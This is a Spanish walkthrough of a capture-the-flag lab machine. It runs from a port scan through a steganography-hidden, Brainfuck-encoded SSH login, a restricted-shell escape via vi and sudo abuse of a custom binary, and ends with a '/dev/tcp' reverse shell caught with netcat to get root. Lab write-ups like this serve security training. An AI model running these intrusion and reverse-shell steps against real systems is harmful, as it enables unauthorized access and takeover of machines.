Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 03:23 EDT
Nmap scan report for 192.168.195.135
Host is up (0.00046s latency).

PORT      STATE SERVICE VERSION
1337/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:af:04:6d:f1:8c:59:3a:d6:e1:96:b7:f7:fc:57:83 (RSA)
|   256 12:68:4c:6b:96:1e:51:59:32:8a:3d:41:0d:55:6b:d2 (ECDSA)
|_  256 da:3e:28:52:30:72:7a:dd:c3:fb:89:7e:54:f4:bb:fb (ED25519)
31337/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-title:    Website By Unknowndevice64
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
MAC Address: 00:0C:29:A2:21:34 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms 192.168.195.135

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds
```

Si vamos al codigo de la pagina en el puerto `31337` vemos que hay una imagen en un comentario por lo que si vamos a la siguiente ruta...

```
http://<IP>:31337/key_is_h1dd3n.jpg
```

Veremos una imagen que nos vamos a descargar y utilizar el siguiente comando para que nos extraiga de la imagen lo que contenga...

```
steghide extract -sf <IMAGE>
```

Y como salvoconducto (password) pondremos la palabra que aparece en la pagina `h1dd3n` y nos extraera un .txt

```
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++++.----------------.<--
--------------.--.++++++.---------.>----------------------.<<+++.++.>+++++.--
.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.----------------.
```

Si decodificamos esto quedaria...

```
ud64:1M!#64@ud
```

Por lo que es un usuario y contraseña:

```
User: ud64
Password: 1M!#64@ud
```

Nos conectaremos por ssh...

```
ssh ud64@<IP> -p 1337
```

Tendremos una restricted bash por lo que escapamos de la siguiente manera...

```
vi
:!/bin/bash
<ENTER>
```

Y ya habriamos escapado, despues el PATH esta roto, por lo que haremos...

```
export PATH=<$PATH>
```

Si hacemos `sudo -l` veremos que tenemos lo siguiente...

Info:

```
User ud64 may run the following commands on unknowndevice64_v1:
(ALL) NOPASSWD: /usr/bin/sysud64
```

Podemos ejecutar ese binario como `root` por lo que haremos lo siguiente...

```
sudo /usr/bin/sysud64 /bin/bash
```

Te llevara a una shell bastante rara y ahi pegamos un codigo de Reverse Shell...

```
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

Estando a la escucha...

```
nc -lvnp <PORT>
```

Una vez que lo enviemos y estando a la escucha nos dara una shell como `root` por lo que leemos la flag de root y ya estaria.